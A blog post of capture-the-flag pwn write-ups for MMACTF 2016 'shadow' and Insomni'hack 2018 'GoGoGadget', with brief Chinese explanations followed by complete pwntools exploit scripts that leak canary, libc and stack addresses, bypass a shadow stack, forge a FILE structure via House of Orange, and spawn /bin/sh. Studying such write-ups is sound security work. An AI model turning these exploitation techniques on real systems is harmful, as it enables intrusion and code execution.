Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

2019 Jan pwn writeup

MMACTF 2016 shadow

程序的基本功能包括:输入姓名;设定message长度;输入message。共有3次修改姓名和message的机会。

程序中实现了一个影子栈及poppushcallret的函数,使得无法覆盖调用ret进行返回的函数的返回地址。在进行函数调用时,未被保护到的函数为程序调用的libc中的函数,这些函数仍然执行汇编指令ret进行返回而不是程序自行实现的ret函数。

利用无符号数的转换来泄漏canary和libc地址。由于name的地址保存在栈上,通过输入的漏洞可以覆盖该地址为_environ地址来泄漏栈地址。用于记录剩余输入次数的变量也保存在栈上。在修改name前,把name指向read函数的返回地址(libc中的函数没有得到ret函数的保护),使得在修改name时能够控制程序执行流来getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# coding=utf-8
from pwn import *

def pwn():
BIN_PATH = './shadow'
DEBUG = 1
context.arch = 'i386'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

# leak canary
p.recvuntil('name : ')
p.sendline('sunichi')
p.recvuntil('length : ')
p.sendline('-1')
p.sendafter('message : ', 'a' * 33)
p.recvuntil('a' * 33)
canary = '\x00' + p.recv(3)
# leak libc
p.sendlineafter('(y/n) :', 'n')
p.recvuntil('length : ')
p.sendline('-1')
payload = 'a' * 41
p.sendafter('message : ', payload)
p.recvuntil(payload)
recv = '\x00' + p.recv(3)
recv = u32(recv)
print hex(recv)
libc.address = recv - (0xf76f3000 - 0xf7541000)
print hex(libc.address)
# leak stack address
p.sendlineafter('(y/n) :', 'n')
p.recvuntil('length : ')
p.sendline('-1')
payload = 'a' * 0x20 + canary + 'a' * 8 + p32(0) + p32(0)
payload += p32(libc.symbols['_environ']) + p32(0x0804a800) + p32(100)
p.sendafter('message : ', payload)
p.recvuntil(') <')
stack_addr = u32(p.recv(4))
print hex(stack_addr)
# attack
p.sendlineafter('(y/n) :', 'n')
p.recvuntil('length : ')
p.sendline('-1')
payload = 'a' * 0x20 + canary + 'a' * 8 + p32(0) + p32(0)
payload += p32(stack_addr - (0x98c-0x7bc)) + p32(0x0804a800) + p32(100)
p.sendafter('message : ', payload)
payload = p32(libc.symbols['system']) + p32(0x0804a800) + p64(next(libc.search('/bin/sh')))
p.sendafter('name : ', payload)

p.interactive()
p.close()


if __name__ == '__main__':
pwn()

Insomni’hack 2018 GoGoGadget

Copter输入内容时调用的read函数,可以用来泄漏地址。Gadget的scanf函数导致off-by-null,可用来制造堆块重叠。利用House of Orange来getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
from pwn import *


_IO_FILE_plus_size = {
'i386': 0x98,
'amd64': 0xe0
}

_IO_FILE_plus = {
'i386': {
0x0: '_flags',
0x4: '_IO_read_ptr',
0x8: '_IO_read_end',
0xc: '_IO_read_base',
0x10: '_IO_write_base',
0x14: '_IO_write_ptr',
0x18: '_IO_write_end',
0x1c: '_IO_buf_base',
0x20: '_IO_buf_end',
0x24: '_IO_save_base',
0x28: '_IO_backup_base',
0x2c: '_IO_save_end',
0x30: '_markers',
0x34: '_chain',
0x38: '_fileno',
0x3c: '_flags2',
0x40: '_old_offset',
0x44: '_cur_column',
0x46: '_vtable_offset',
0x47: '_shortbuf',
0x48: '_lock',
0x4c: '_offset',
0x54: '_codecvt',
0x58: '_wide_data',
0x5c: '_freeres_list',
0x60: '_freeres_buf',
0x64: '__pad5',
0x68: '_mode',
0x6c: '_unused2',
0x94: 'vtable'
},

'amd64': {
0x0: '_flags',
0x8: '_IO_read_ptr',
0x10: '_IO_read_end',
0x18: '_IO_read_base',
0x20: '_IO_write_base',
0x28: '_IO_write_ptr',
0x30: '_IO_write_end',
0x38: '_IO_buf_base',
0x40: '_IO_buf_end',
0x48: '_IO_save_base',
0x50: '_IO_backup_base',
0x58: '_IO_save_end',
0x60: '_markers',
0x68: '_chain',
0x70: '_fileno',
0x74: '_flags2',
0x78: '_old_offset',
0x80: '_cur_column',
0x82: '_vtable_offset',
0x83: '_shortbuf',
0x88: '_lock',
0x90: '_offset',
0x98: '_codecvt',
0xa0: '_wide_data',
0xa8: '_freeres_list',
0xb0: '_freeres_buf',
0xb8: '__pad5',
0xc0: '_mode',
0xc4: '_unused2',
0xd8: 'vtable'
}
}

class IO_FILE_plus_struct(dict):
arch = None
endian = None
fake_file = None
size = 0
FILE_struct = []

@LocalContext
def __init__(self):
self.arch = context.arch
self.endian = context.endian

if self.arch != 'i386' and self.arch != 'amd64':
log.error('architecture not supported!')
success('arch: '+str(self.arch))

self.FILE_struct = [_IO_FILE_plus[self.arch][i]
for i in sorted(_IO_FILE_plus[self.arch].keys())]
print self.FILE_struct
self.update({r: 0 for r in self.FILE_struct})
self.size = _IO_FILE_plus_size[self.arch]

def __setitem__(self, item, value):
if item not in self.FILE_struct:
log.error("Unknown item %r (not in %r)" % (item, self.FILE_struct))
super(IO_FILE_plus_struct, self).__setitem__(item, value)

def __setattr__(self, attr, value):
if attr in IO_FILE_plus_struct.__dict__:
super(IO_FILE_plus_struct, self).__setattr__(attr, value)
else:
self[attr] = value

def __getattr__(self, attr):
return self[attr]

def __str__(self):
fake_file = ""
with context.local(arch=self.arch):
for item_offset in sorted(self.item_offset):
if len(fake_file) < item_offset:
fake_file += "\x00"*(item_offset - len(fake_file))
fake_file += pack(self[_IO_FILE_plus[self.arch]
[item_offset]], word_size='all')
fake_file += "\x00"*(self.size - len(fake_file))
return fake_file

@property
def item_offset(self):
return _IO_FILE_plus[self.arch].keys()

def Create(p, content):
p.sendlineafter('Go Go Gadget: ', str(1))
p.sendlineafter('Gadget :', content)
if len(content) == 0xa8:
p.recvuntil('Go Go Gadget: ')

def Delete(p, idx):
p.sendlineafter('Go Go Gadget: ', str(2))
p.sendlineafter('Gadget [id] :', str(idx))

def GoGoGadget(p, idx):
p.sendlineafter('Go Go Gadget: ', str(3))
p.sendlineafter('Gadget [idx] :', str(idx))

def Active(p, speed, content):
p.sendlineafter('Go Go Gadget: ', str(4))
p.sendlineafter('Speed :', str(speed))
p.sendafter('Destination :', content)

def Deactive(p):
p.sendlineafter('Go Go Gadget: ', str(5))

def GoGoCopter(p):
p.sendlineafter('Go Go Gadget: ', str(6))

def pwn():
BIN_PATH = './gogogadget'
context.arch = 'amd64'
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

Create(p, 'sunichi')
Create(p, p64(0x60) * (0xa0 / 8))
Create(p, p64(0x60) * (0xa0 / 8))
Create(p, 'sunichi')
Create(p, 'sunichi')
Delete(p, 0)
Delete(p, 1)
Delete(p, 2)
Delete(p, 3)
payload = 'a' * 0xa0 + p64(0xb0)
Create(p, payload)
p.recvuntil('Wrong input !')
payload = 'a' * 0xa0 + p64(0xb0)[:7]
Create(p, payload)

Active(p, 0, '\x78')
GoGoCopter(p)
p.recvuntil('Gogo Copter To: ')
recv = p.recv(6)
arena_88_addr = u64(recv.ljust(8, '\x00'))
libc.address = arena_88_addr - (0x7efee8b41b78 - 0x00007efee877d000)

Delete(p, 1)
Delete(p, 4)

Create(p, 'sunichi')
Create(p, 'sunichi')
Create(p, 'sunichi')
Create(p, 'sunichi')

Delete(p, 1)
Delete(p, 3)
GoGoCopter(p)
p.recvuntil('Gogo Copter To: ')
recv = p.recv(6)
heap_addr = u64(recv.ljust(8, '\x00'))

fake_file = IO_FILE_plus_struct()
fake_file._flags = u64('/bin/sh\x00')
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base = 0x7fffffffffff-0x10
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file._mode = 0
fake_file.vtable = heap_addr - 80

payload = p64(0) * 2 + p64(libc.symbols['system']) * 3
payload = payload.ljust(0x50, '\x00') + '/bin/sh\x00' + p64(0xf1)[:2]
Create(p, payload)
payload = p64(0) + p64(0) + p64(0) + p64(1) + '\x00' * 0x21
Create(p, payload)

Delete(p, 4)
Create(p, str(fake_file)[0x70:0xc8] + p64(0x51) + p64(0) * 3 + p64(heap_addr - 80))

Delete(p, 1)
Delete(p, 3)

payload = p64(0) + p64(1) + p64(2) + p64(libc.symbols['system'])
payload = payload.ljust(0x50, '\x00') + '/bin/sh\x00' + p64(0x61)
payload += p64(libc.address + (0x7ffff7dd1b78 - 0x7ffff7a0d000)) + p64(libc.symbols['_IO_list_all'] - 0x10)
payload += p64(0x30) + p64(0x40)
Create(p, payload)

print hex(heap_addr)
print hex(arena_88_addr)
print hex(libc.address)
gdb.attach(p)

p.interactive()
p.close()

if __name__ == "__main__":
pwn()